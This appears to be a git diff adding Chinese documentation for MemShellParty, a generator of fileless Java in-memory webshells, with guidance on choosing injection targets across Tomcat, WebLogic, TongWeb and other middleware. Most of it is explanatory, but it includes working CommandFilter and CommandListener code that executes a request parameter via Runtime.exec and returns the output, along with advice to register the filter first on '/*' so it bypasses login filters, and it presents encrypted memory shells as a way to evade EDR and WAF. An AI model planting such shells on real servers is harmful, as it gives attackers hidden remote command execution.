IDEA 自带反编译功能,并且使用习惯之后也是相当好用。但是有一个问题,如果 jar 包中套 jar 包,那么里面的 jar 包并不会默认展开,自然想到的办法就是解压 一次 jar,把里面的东西弄出来,但是有了 File Expander 插件之后,无论是 zip 还是 jar in jar,都轻松查看了。
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
下图演示了 java-chains-1.4.0.jar,直接可以 expand 到 chains-core,开学!!!,这种情况下不比 jadx 要好用。
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
## Find 命令
|
||||||
|
|
||||||
|
在批量查找当前目录下某个类存在于那个 jar 文件中,需要使用到 find 命令协助,由于需要用到 jar 命令,因此依赖 JDK 环境。JRE 环境下,可以将文件打包发送到 JDK 环境再继续研究。
|
||||||
|
|
||||||
|
在 tomcat 目录下,找到 ApplicationContext 在哪个 jar 文件中。
|
||||||
|
|
||||||
|
```bash
|
||||||
|
░▒▓ ~/workspace/apache-tomcat-8.5.96
|
||||||
|
❯ find . -name "*.jar" -type f -exec sh -c 'jar tvf "{}" | grep -q "org/apache/catalina/core/ApplicationContext" && echo "Found in: {}"' \;
|
||||||
|
Found in: ./lib/catalina.jar
|
||||||
|
```
|
||||||
|
|
||||||
|
部分环境下,例如 WAS 可能并没有设置 Java Home,此时 jar 命令使用绝对路径即可。
|
||||||
|
|
||||||
|
```bash
|
||||||
|
[was@59385194e5aa AppServer]$ find . -name "*.jar" -type f -exec sh -c '/opt/IBM/WebSphere/AppServer/java/bin/jar tvf "{}" | grep -q "com/ibm/ws/webcontainer/webapp/WebApp" && echo "Found in: {}"' \;
|
||||||
|
Found in: ./plugins/com.ibm.ws.webcontainer.jar
|
||||||
|
```
|
||||||
@@ -0,0 +1,130 @@
|
|||||||
|
# Java 服务简介
|
||||||
|
|
||||||
|
以下服务仅我个人遇到的一些场景,与实际攻防场景可能仍有差距,但是在 MemShellParty
|
||||||
|
中可用于参考进行内存马生成。个别其他服务还请自行辨别其服务类型。如果有其他环境补充,欢迎 PR 交流学习~
|
||||||
|
|
||||||
|
## Tomcat
|
||||||
|
|
||||||
|
> https://tomcat.apache.org/
|
||||||
|
|
||||||
|
Tomcat 使用的是自己 Catalina 模块提供的 Servlets 实现,限制较少,在 MemShellParty 中,服务类型选 Tomcat 即可生成 Tomcat
|
||||||
|
内存马。
|
||||||
|
|
||||||
|
一般而言,SpringWebMVC 项目大多使用 Tomcat 提供 Servlets 容器功能,比如 Nacos,这种情况下可以选择 Tomcat 内存马注入。
|
||||||
|
|
||||||
|
其他服务中,致远 OA、Confluence、帆软使用的是 Tomcat。
|
||||||
|
|
||||||
|
## Jetty
|
||||||
|
|
||||||
|
> https://jetty.org/
|
||||||
|
|
||||||
|
Jetty6 版本使用的包名为 `org.mortbay.jetty`,而 7 以上使用的是 `org.eclipse.jetty`,在测试最新的 Jenkins 时,发现 Jetty11+
|
||||||
|
版本支持 ee8 ~ ee10 的环境,包名对应的是 `org.eclipse.jetty.ee8`,这些在 MemShellParty 中均已支持,因此服务类型选 Jetty
|
||||||
|
即可生成 Jetty 内存马。
|
||||||
|
|
||||||
|
在 SpringWebMVC 项目中也是有可能使用的。
|
||||||
|
|
||||||
|
## JBoss
|
||||||
|
|
||||||
|
> JBossAS: https://jbossas.jboss.org/downloads
|
||||||
|
|
||||||
|
> JBossEAP: https://developers.redhat.com/products/eap/download
|
||||||
|
|
||||||
|
JBoss 分为 JBossAS 和 JBossEAP,JBossAS 全版本和 JBossEAP6 使用的 Catalina 模块提供的 Servlets 实现,JBossEAP7 及其以上使用的
|
||||||
|
[Undertow](https://undertow.io/) 提供的 Servlets 实现。
|
||||||
|
|
||||||
|
因此 JBossAS 4~7 以及 JBossEAP6 服务类型选择 JBoss 进行内存马的生成,而 JBossEAP7 服务类型需要选择
|
||||||
|
Undertow 进行内存马的生成。
|
||||||
|
|
||||||
|
## Wildfly
|
||||||
|
|
||||||
|
> https://www.wildfly.org/
|
||||||
|
|
||||||
|
Wildfly 使用的 [Undertow](https://undertow.io/) 提供的 Servlets 实现,因此服务类型选择 Undertow 生成内存马
|
||||||
|
|
||||||
|
## GlassFish
|
||||||
|
|
||||||
|
> https://glassfish.org/
|
||||||
|
|
||||||
|
GlassFish 使用的是 Catalina 提供的 Servlets 实现,但是使用了 OSGI 类加载模式,因此类限制较为严重,在 MemShellParty 中,服务类型选择
|
||||||
|
GlassFish 进行内存马的生成。
|
||||||
|
|
||||||
|
## Payara
|
||||||
|
|
||||||
|
> https://www.payara.fish/downloads/
|
||||||
|
|
||||||
|
基于 GlassFish 开发,服务类型选择 GlassFish 进行内存马的生成。
|
||||||
|
|
||||||
|
## Resin
|
||||||
|
|
||||||
|
> https://caucho.com/products/resin/download
|
||||||
|
|
||||||
|
Resin 使用的包名为 `com.caucho.`,服务类型选择 Resin 进行内存马的生成。
|
||||||
|
|
||||||
|
泛微 OA 使用的就是 Resin 提供的服务。
|
||||||
|
|
||||||
|
## WebLogic
|
||||||
|
|
||||||
|
> https://www.oracle.com/middleware/technologies/weblogic-server-installers-downloads.html
|
||||||
|
|
||||||
|
WebLogic 使用的包名为 `weblogic.`,服务类型选择 WebLogic 进行内存马的生成。
|
||||||
|
|
||||||
|
## WebSphere
|
||||||
|
|
||||||
|
> https://www.ibm.com/products/websphere-application-server
|
||||||
|
|
||||||
|
WebSphere 是 IBM 研发的商用 Servlets 容器,开源版本为 Websphere liberty,
|
||||||
|
包名为 `com.ibm.`,服务类型选择 WebSphere 进行内存马的生成。
|
||||||
|
|
||||||
|
## BES
|
||||||
|
|
||||||
|
> https://www.bessystem.com/
|
||||||
|
|
||||||
|
BES 宝兰德,其基于 Tomcat 进行二开,在 BES 9.5.1 版本中没有进行包名修改,而在 BES 9.5.2
|
||||||
|
版本之后包名修改为了 `com.bes.enterprise.`。因此 BES 9.5.1 版本,服务类型选择 Tomcat 进行内存马的生成,BES 9.5.2+ 服务类型选择
|
||||||
|
BES 进行内存马的生成。
|
||||||
|
|
||||||
|
## TongWeb
|
||||||
|
|
||||||
|
> https://www.tongtech.com/sy.html
|
||||||
|
|
||||||
|
TongWeb 东方通,其基于 Tomcat 进行二开,并且在最初的 6 版本就进行了包名修改,每个版本都进行了修改。
|
||||||
|
|
||||||
|
- TongWeb6: `com.tongweb.web.thor.`
|
||||||
|
- TongWeb7: `com.tongweb.catalina.`
|
||||||
|
- TongWeb8: `com.tongweb.server.`
|
||||||
|
|
||||||
|
这三个版本在 MemShellParty 中均有适配,服务类型选择 TongWeb 进行内存马的生成。
|
||||||
|
|
||||||
|
## Apusic
|
||||||
|
|
||||||
|
> https://www.apusic.com/
|
||||||
|
|
||||||
|
金蝶中间件,Apusic9 疑似魔改自 GlassFish,不过改得面目全非了,自 Apusic10 开始使用原版 GlassFish 进行二开。因此 Apusic9
|
||||||
|
版本服务类型选择
|
||||||
|
Apusic 进行内存马生成,Apusic10 版本选择 GlassFish 进行内存马生成。
|
||||||
|
|
||||||
|
## Primeton
|
||||||
|
|
||||||
|
> https://www.primeton.com/products/pas/
|
||||||
|
|
||||||
|
普元中间件,Primeton6.5 版本基于 GlassFish
|
||||||
|
二开,高版本疑似做了包名修改,但没有环境,因此暂未适配([#60](https://github.com/ReaJason/MemShellParty/issues/60))因此当前仅支持
|
||||||
|
Primeton6.5 版本,服务类型选择 GlassFish 进行内存马生成。
|
||||||
|
|
||||||
|
## InforSuite
|
||||||
|
|
||||||
|
中创中间件,InforSuite 基于 GlassFish 进行二开,不过因为 InforSuite10 版本针对 filterConfigs 字段做了手脚改成了
|
||||||
|
iasFilterConfigs 因此 Filter 注入单独进行了适配。服务类型选择 InforSuite 进行内存马注入。
|
||||||
|
|
||||||
|
## SpringWebMVC
|
||||||
|
|
||||||
|
Spring 框架,默认的 MVC 架构,官方 Servlets 容器实现可选 Tomcat、Jetty 与 Undertow,也可打包成 war 包部署于任意 Servlets
|
||||||
|
容器上。内存马注入场景下不推荐框架内存马,而是具体的 Servlets 容器内存马,因为可绕过框架的限制(鉴权或其他)。服务类型选择
|
||||||
|
SpringWebMVC 进行内存马生成。
|
||||||
|
|
||||||
|
## SpringWebFlux
|
||||||
|
|
||||||
|
Spring Boot 项目中基于 reactor 异步 IO 模型的服务组件,底层使用的 Netty,一般常见于各种 SpringCloud 项目,例如网关。服务类型选择
|
||||||
|
SpringWebFlux 进行内存马生成。
|
||||||
|
|
||||||
@@ -0,0 +1,41 @@
|
|||||||
|
# Java 内存马简介
|
||||||
|
|
||||||
|
Java 内存马是一种无文件 webshell,相较于传统的 webshell,它无须落地 JSP 文件即可实现所有 webshell 功能。其唯一缺点可能就是服务重启即失效,因此也出现了附带的内存马复活相关技术。
|
||||||
|
|
||||||
|
## 什么是 webshell
|
||||||
|
|
||||||
|
> From [wikipedia](https://en.wikipedia.org/wiki/Web_shell)
|
||||||
|
|
||||||
|
webshell 是一种类似于 shell 的入口,攻击者可通过它来控制目标 web 服务器并实施网络攻击。由于 PHP 被广泛应用于 Web 应用,因此 PHP webshell 是最常见的,当然 ASP、Java、NodeJs 等框架与编程语言也存在 webshell。
|
||||||
|
|
||||||
|
常见的 webshell 功能包括:
|
||||||
|
|
||||||
|
1. 命令回显,反弹 unix shell
|
||||||
|
2. 网站管理工具,例如蚁剑、哥斯拉和冰蝎等。
|
||||||
|
3. 代理隧道,例如 reGeorg、Neo-reGeorg、suo5 等。
|
||||||
|
|
||||||
|
## 演变历程
|
||||||
|
|
||||||
|
随着攻防演练热度越来越高,主机安全(文件监控、防篡改、EDR),WAF 流量设备,webshell 查杀等专业的安全设备被广泛使用。**webshell 已经从大马、小马、一句话马、加密一句话马逐步进化到现在的加密内存马,不断突破安全设备的检测**。无文件这一特性使主机安全设备变得失效,而加密则是针对 WAF 等流量设备,因此内存马使用得越来越多,当前唯一真正有效的防护措施只剩下了 **RASP(运行时应用安全防护)** — 这也是我目前所从事的方向 Java RASP 研发 — [靖云甲](https://www.boundaryx.com/category/product/adr)。
|
||||||
|
|
||||||
|
因此内存马也被称为内存 webshell,相较于传统 webshell 的文件落地方式,只是在攻防对抗中进化,换了个实现方式挂 webshell。
|
||||||
|
|
||||||
|
此项目 https://github.com/tennc/webshell 收集了超多不同编程语言的 webshell,或许你遇到有意思的 webshell 时,可以考虑将其改造成内存马。
|
||||||
|
|
||||||
|
## 常见 Java 内存马
|
||||||
|
|
||||||
|
在 Java 中 webshell 常见的后缀有 jsp 和 jspx。根据 Servlet 的定义(这部分的知识强烈推荐:[Head First Servlets and JSP](https://www.amazon.com/Head-First-Servlets-JSP-Certified/dp/0596516681)),JSP 本质就是一个 Servlet,它提供了独特的 entrypoint 用于访问。因此一开始大家最常打的内存马就是 Servlet 内存马,通过 JSP 获取 request 拿到 ServletContext 进行 Servlet 的动态注册。
|
||||||
|
|
||||||
|
冰蝎工具后来提供了 Java Agent 内存马实现,使得内存马技术得到了广泛传播。
|
||||||
|
|
||||||
|
**任何能进行 Web 通信的组件都可以成为内存马依附的位置**。
|
||||||
|
|
||||||
|
Java EE 中的 Servlets 就提供了 Servlet、Filter 以及 Listener,Tomcat 通过挖掘已经有了 Upgrade、WebSocket、Executor、Valve、ApplicationFilterChain。并且 SpringWebMVC 中的 Controller、Interceptor,SpringWebFlux 中的 WebFilter 这种框架内存马也使用广泛。
|
||||||
|
|
||||||
|
从技术实现的不同,分为非 Agent 内存马与 Agent 内存马,由于 Agent 内存马需要落地 Jar 包,冰蝎工具的作者后续也提供了无文件 Agent 内存马的实现方式,参考:[Java 内存攻击技术漫谈](https://xz.aliyun.com/news/9525)、[论如何优雅的注入 Java Agent 内存马](https://xz.aliyun.com/news/11086)。
|
||||||
|
|
||||||
|
## 延伸阅读
|
||||||
|
|
||||||
|
- [Shell 中的幽灵王者 — JAVAWEB 内存马【认知篇】](https://www.4hou.com/posts/zlkq)
|
||||||
|
- [JAVA 内存马的“一生”](https://xz.aliyun.com/news/10451)
|
||||||
|
- [一文看懂内存马](https://www.freebuf.com/articles/web/274466.html)
|
||||||
@@ -0,0 +1,54 @@
|
|||||||
|
## 如何使用自定义内存马功能
|
||||||
|
|
||||||
|
MemShellParty 参考 JMG 使用注入器和内存马分离的方式进行的内存马注入,注入的伪代码如下:
|
||||||
|
|
||||||
|
```java
|
||||||
|
Object context = getContext();
|
||||||
|
Object shell = defineClass(getShellBase64Str());
|
||||||
|
|
||||||
|
inject(context, shell);
|
||||||
|
```
|
||||||
|
|
||||||
|
自定义内存马就是开放 getShellBase64Str 的修改,通过生成界面传入内存马的 base64 或 class 文件来实现。
|
||||||
|
|
||||||
|
注入器的选择,在通过生成界面选完目标服务和挂载类型就已经确认好了,无法自定义。
|
||||||
|
|
||||||
|
### 实现参考
|
||||||
|
|
||||||
|
1. Servlets 相关内存马使用 javax.servlet 即可,当挂载类型选为 Jakarta 开头,在生成时会自动将 javax 改为
|
||||||
|
jakarta,无须重复实现。
|
||||||
|
2. Listener 内存马生成时,通过 request 对象获取 response 方法会自动将不同的中间件实现填充到 getResponseFromRequest
|
||||||
|
方法上,因此推荐按参考实现一样使用空实现,额外需要注意 getResponseFromRequest 中的 request 请求参数声明必须为 Object。
|
||||||
|
3. Valve 内存马使用 Tomcat Valve 的包名 (`org.apache.catalina.`) 即可,当选中 BES/TongWeb 等会自动改为其特有的包名前缀,无须重复实现。
|
||||||
|
4. Agent 内存马推荐使用 `Thread.currentThread().getContextClassLoader()` 进行反射调用所需的工具类,因为 Agent
|
||||||
|
内存马类会放进所增强类的 ClassLoader 中,部分中间件会存在模块隔离,无法直接使用部分类,例如 `java.util.Base64`、
|
||||||
|
`javax.crypto.Cipher`。
|
||||||
|
|
||||||
|
| 挂载类型 | 参考实现 |
|
||||||
|
|----------------------------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
|
||||||
|
| Servlet/JakartaServlet | [GodzillaServlet](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaServlet.java) |
|
||||||
|
| Filter/JakartaFilter | [GodzillaFilter](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaFilter.java) |
|
||||||
|
| Listener/JakartaListener | [GodzillaListener](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaListener.java) |
|
||||||
|
| Valve/JakartaValve | [GodzillaValve](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaValve.java) |
|
||||||
|
| ProxyValve/JakartaProxyValve | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java) |
|
||||||
|
| WebSocket/JakartaWebSocket | [GodzillaWebSocket](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaWebSocket.java) |
|
||||||
|
| (SpringWebMVC)Interceptor/JakartaInterceptor | [GodzillaInterceptor](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaInterceptor.java) |
|
||||||
|
| (SpringWebMVC)ControllerHandler/JakartaControllerHandler | [GodzillaControllerHandler](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaControllerHandler.java) |
|
||||||
|
| (SpringWebFlux)WebFilter | [GodzillaWebFilter](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaWebFilter.java) |
|
||||||
|
| (SpringWebFlux)HandlerMethod | [GodzillaHandlerMethod](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaHandlerMethod.java) |
|
||||||
|
| (SpringWebFlux)HandlerFunction | [GodzillaHandlerFunction](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaHandlerFunction.java) |
|
||||||
|
| NettyHandler | [GodzillaNettyHandler](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaNettyHandler.java) |
|
||||||
|
| AgentFilterChain/AgentContextValve | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java) |
|
||||||
|
| (SpringWebMVC)AgentFrameworkServlet | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java) |
|
||||||
|
| (Jetty)AgentHandler | [GodzillaJettyHandler](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaJettyHandler.java) |
|
||||||
|
| (WAS)AgentFilterManager | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java) |
|
||||||
|
| (WebLogic)AgentServletContext | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java) |
|
||||||
|
| (Undertow)AgentServletHandler | [GodzillaUndertowServletHandler](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaUndertowServletHandler.java) |
|
||||||
|
|
||||||
|
### 参考步骤
|
||||||
|
|
||||||
|
1. 执行 `git clone https://github.com/ReaJason/MemShellParty.git` 下载当前项目到本地
|
||||||
|
2. 在 memshell/src/main/java/com/reajason/javaweb/memshell/shelltool 创建 custom 目录进行自定义内存马的编写
|
||||||
|
3. 执行 `./gradlew :memshell:compileJava` 或 `.\gradlew.bat :memshell:compileJava`
|
||||||
|
4. 在 memshell/build/classes/java/main/com/reajason/javaweb/memshell/shelltool/custom 下可以找到编译好的类文件
|
||||||
|
5. 在生成界面,选择目标服务 - Custom - 挂载类型,上传 class 文件,选择打包方式并生成
|
||||||
|
After Width: | Height: | Size: 174 KiB |
|
After Width: | Height: | Size: 282 KiB |
|
After Width: | Height: | Size: 92 KiB |
|
After Width: | Height: | Size: 130 KiB |
|
After Width: | Height: | Size: 232 KiB |
|
After Width: | Height: | Size: 121 KiB |
|
After Width: | Height: | Size: 326 KiB |
@@ -0,0 +1,101 @@
|
|||||||
|
# Java Servlet Filter
|
||||||
|
|
||||||
|
> [Servlet 3.1 规范 — Filter 主要概念](https://github.com/waylau/servlet-3.1-specification/blob/master/docs/Filtering/6.2%20Main%20Concepts.md)
|
||||||
|
|
||||||
|
Filter 是 Servlet 规范中定义的一个 Web 组件,可作用在一个 Servlet 或多个 Servlet 上,以链式的方式顺序调用,其允许改变请求和响应的头信息和内容。常见的过滤器有登录认证过滤器、字符编码过滤器以及加解密过滤器。
|
||||||
|
|
||||||
|
## Filter 配置
|
||||||
|
|
||||||
|
Filter 可以选择应用的 url-pattern 或 servlet-name,以下两种方式等价
|
||||||
|
|
||||||
|
```xml
|
||||||
|
<filter-mapping>
|
||||||
|
<filter-name>Multipe Mappings Filter</filter-name>
|
||||||
|
<url-pattern>/foo/*</url-pattern>
|
||||||
|
<servlet-name>Servlet1</servlet-name>
|
||||||
|
<servlet-name>Servlet2</servlet-name>
|
||||||
|
<url-pattern>/bar/*</url-pattern>
|
||||||
|
</filter-mapping>
|
||||||
|
```
|
||||||
|
|
||||||
|
```java
|
||||||
|
@WebFilter(
|
||||||
|
filterName = "Multipe Mappings Filter",
|
||||||
|
urlPatterns = {"/foo/*", "/bar/*"},
|
||||||
|
servletNames = {"Servlet1", "Servlet2"}
|
||||||
|
)
|
||||||
|
public class MultipeMappingsFilter implements Filter {
|
||||||
|
@Override
|
||||||
|
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
|
||||||
|
// TODO
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
## doFilter
|
||||||
|
|
||||||
|
Web 容器在启动时,会扫描 Web 应用中所有 Filter 的定义来注册 Filter,并将其封装成 FilterChain,每个 Filter 在 JVM 中只会有一个实例。
|
||||||
|
|
||||||
|
Filter 的接口签名如下,其中最重要的就是 doFilter 方法。
|
||||||
|
|
||||||
|
1. Web 容器在接收到请求时,会获取 FilterChain 中的第一个过滤器将 request、response 以及 chain 传入 doFilter 方法中进行调用。
|
||||||
|
2. 当过滤器链中最后一个过滤器被调用,将会访问到最终的 Servlet 或静态资源。
|
||||||
|
3. 手动在 doFilter 中调用 `chain.doFilter(request, response)`,将会访问 chain 中下一个过滤器。
|
||||||
|
4. 在 doFilter 中可以选择不调用 `chain.doFilter(request, response)` 则意为阻止当前请求,那么当前过滤器需要负责填充响应对象。
|
||||||
|
|
||||||
|
```java
|
||||||
|
public interface Filter {
|
||||||
|
/**
|
||||||
|
* 由 Web 容器在初始化 Filter 时调用。
|
||||||
|
*/
|
||||||
|
public void init(FilterConfig filterConfig) throws ServletException;
|
||||||
|
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)throws IOException, ServletException;
|
||||||
|
/**
|
||||||
|
* 由 Web 容器在卸载 Filter 时调用。
|
||||||
|
*/
|
||||||
|
public void destroy();
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
## FilterShell
|
||||||
|
|
||||||
|
shell 的目的,就是为了定义一个入口,我们能与 Web 服务器进行交互。在 Filter 中我们就是实现 doFilter 来满足需求,以下定义了一个命令回显的 FilterShell。
|
||||||
|
|
||||||
|
1. 一般而言,我们会为 FilterShell 注册 url-pattern 为 `/*`,这样无论访问哪个路径都能被调用到,而且为了绕过登录过滤器,我们会把 FilterShell 注册为 FilterChain 中的第一个过滤器。
|
||||||
|
2. 交互的入口是 `request.getParameter` 支持两种方式传参。GET/POST 请求发送 `/?paramName=whoami`,也可以发送 POST 请求时使用 `application/x-www-form-urlencoded` 发送 body 参数。`multipart/form-data` 是不支持从 `request.getParameter` 获取参数的。
|
||||||
|
3. 当 Filter 注册的 url-pattern 为 `/*` 时,我们拿到 cmd 参数,就可以执行命令并填充响应对象 `return` 结束请求,而在拿不到参数的时候就必须调用 `chain.doFilter(servletRequest, servletResponse)`,否则正常的业务就不会被执行。
|
||||||
|
|
||||||
|
```java
|
||||||
|
public class CommandFilter implements Filter {
|
||||||
|
public static String paramName;
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void init(FilterConfig filterConfig) throws ServletException {
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
|
||||||
|
HttpServletRequest servletRequest = (HttpServletRequest) request;
|
||||||
|
HttpServletResponse servletResponse = (HttpServletResponse) response;
|
||||||
|
String cmd = servletRequest.getParameter(paramName);
|
||||||
|
if (cmd != null) {
|
||||||
|
Process exec = Runtime.getRuntime().exec(cmd);
|
||||||
|
InputStream inputStream = exec.getInputStream();
|
||||||
|
ServletOutputStream outputStream = servletResponse.getOutputStream();
|
||||||
|
byte[] buf = new byte[8192];
|
||||||
|
int length;
|
||||||
|
while ((length = inputStream.read(buf)) != -1) {
|
||||||
|
outputStream.write(buf, 0, length);
|
||||||
|
}
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
chain.doFilter(servletRequest, servletResponse);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void destroy() {
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
@@ -0,0 +1,79 @@
|
|||||||
|
# Event Listeners
|
||||||
|
|
||||||
|
> [Servlet 3.1 规范 - 事件监听器](https://github.com/waylau/servlet-3.1-specification/blob/master/docs/Application%20Lifecycle%20Events/11.2%20Event%20Listeners.md)
|
||||||
|
|
||||||
|
Servlet 事件监听器支持当 ServletContext、HttpSession 和 ServletRequest 状态变更时发送事件通知。每个事件类型的监听器都支持多个,并且开发者可以指定监听器的调用顺序。
|
||||||
|
|
||||||
|
| Listener 接口类 | 描述 |
|
||||||
|
|--------------------------------------------------|---------------------------------|
|
||||||
|
| javax.servlet.ServletContextListener | 在 ServletContext 创建以及销毁时 |
|
||||||
|
| javax.servlet.ServletContextAttributeListener | 在 ServletContext 添加、移除或替换属性时 |
|
||||||
|
| javax.servlet.http.HttpSessionListener | 在 HttpSession 创建和销毁时 |
|
||||||
|
| javax.servlet.http.HttpSessionAttributeListener | 在 HttpSession 上添加、移除或替换属性 |
|
||||||
|
| javax.servlet.http.HttpSessionIdListener | 在 HttpSession id 变化时 |
|
||||||
|
| javax.servlet.http.HttpSessionActivationListener | 在 HttpSession 激活或钝化时 |
|
||||||
|
| javax.servlet.http.HttpSessionBindingListener | 在 HttpSession 上对象绑定或解绑时 |
|
||||||
|
| javax.servlet.ServletRequestListener | 在 ServletRequest 在将要被 Web 容器处理时 |
|
||||||
|
| javax.servlet.ServletRequestAttributeListener | 在 ServletRequest 上添加、移除或替换属性时 |
|
||||||
|
| javax.servlet.AsyncListener | 在异步操作开始、超时或完成时 |
|
||||||
|
|
||||||
|
## ServletRequestListener
|
||||||
|
|
||||||
|
在编写 shell 时我们需要关注的主要就是 ServletRequestListener,在请求处理之前可以在拿到请求信息并处理(在 Filter 以及 Servlet 之前),由于它作为事件监听器的一员,并没有直接结束请求的机制,因此在对响应体重写等操作结束之后,最后还是会走到 Filter 和 Servlet 的逻辑。
|
||||||
|
|
||||||
|
```java
|
||||||
|
public interface ServletRequestListener extends EventListener {
|
||||||
|
public void requestDestroyed(ServletRequestEvent sre);
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Receives notification that a ServletRequest is about to come
|
||||||
|
* into scope of the web application.
|
||||||
|
*
|
||||||
|
* @param sre the ServletRequestEvent containing the ServletRequest
|
||||||
|
* and the ServletContext representing the web application
|
||||||
|
*/
|
||||||
|
public void requestInitialized(ServletRequestEvent sre);
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
以下时使用 ServletRequestListenerShell 命令回显的代码实现。
|
||||||
|
|
||||||
|
1. 由于此处只能拿到 ServletRequestEvent,其中只有 ServletRequest,但是一般中间件实现中,ServletRequest 中都会有能获取到 ServletResponse 的方法,因此额外新增了一个 getResponseFromRequest 方法。
|
||||||
|
|
||||||
|
```java
|
||||||
|
public class CommandListener implements ServletRequestListener {
|
||||||
|
public static String paramName;
|
||||||
|
|
||||||
|
public CommandListener() {
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void requestDestroyed(ServletRequestEvent sre) {
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
|
||||||
|
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
|
||||||
|
try {
|
||||||
|
String cmd = request.getParameter(paramName);
|
||||||
|
if (cmd != null) {
|
||||||
|
HttpServletResponse servletResponse = this.getResponseFromRequest(request);
|
||||||
|
Process exec = Runtime.getRuntime().exec(cmd);
|
||||||
|
InputStream inputStream = exec.getInputStream();
|
||||||
|
ServletOutputStream outputStream = servletResponse.getOutputStream();
|
||||||
|
byte[] buf = new byte[8192];
|
||||||
|
int length;
|
||||||
|
while ((length = inputStream.read(buf)) != -1) {
|
||||||
|
outputStream.write(buf, 0, length);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
@@ -0,0 +1,98 @@
|
|||||||
|
# Java Servlet
|
||||||
|
|
||||||
|
Java SE 中我们可以创建 socket 服务端为用户提供服务,但需要用户使用 socket 客户端,当然也可以基于 socket 实现 HTTP 协议,WebFlux 就是这样子的存在。而在 Java EE 中,Java 制定了 Servlet 规范,来规范在 Java 中提供 HTTP 服务的编写方式,其中有两个重要的概念,Servlet 与 Servlet Container。Servlet 是基于 Java 的 Web 组件,由容器进行管理,提供动态内容。Servlet 容器用于提供基于请求/响应发送模式的服务,必须支持 HTTP,并且管理 Servlet 的生命周期,使 Servlet 在一个受限的安全环境中执行。
|
||||||
|
|
||||||
|
Servlet 规范旨在让开发者基于规范开发的应用,可以部署在任意满足规范的 Web 容器上。每个 Servlet 规范版本都引入了一些新的东西,Servlet 4.0 前的版本变更可查看 [java-servlet-version-history](https://www.codejava.net/java-ee/servlet/java-servlet-version-history)。
|
||||||
|
|
||||||
|
目前常见的 Servlet 规范就是 [Servlet 3.1](https://github.com/waylau/servlet-3.1-specification/blob/master/docs), Tomcat 8.x 版本就是 Servlet 3.1 版本,从 Servlet 5.0 开始,Java EE 更名为 Jakarta EE,包路径从 javax 改为 jakarta。目前最新的 Servlet 规范是 [Servlet 6.1](https://jakarta.ee/zh/specifications/servlet/6.1/)。另外可以 [在此](https://tomcat.apache.org/whichversion.html) 查看 Tomcat 容器支持的 Servlet 规范版本。
|
||||||
|
|
||||||
|
## ServletContext
|
||||||
|
|
||||||
|
> [Servlet 3.1 规范 - 4.1 ServletContext 接口介绍](https://github.com/waylau/servlet-3.1-specification/blob/master/docs/Servlet%20Context/4.1%20Introduction%20to%20the%20ServletContext%20Interface.md)
|
||||||
|
|
||||||
|
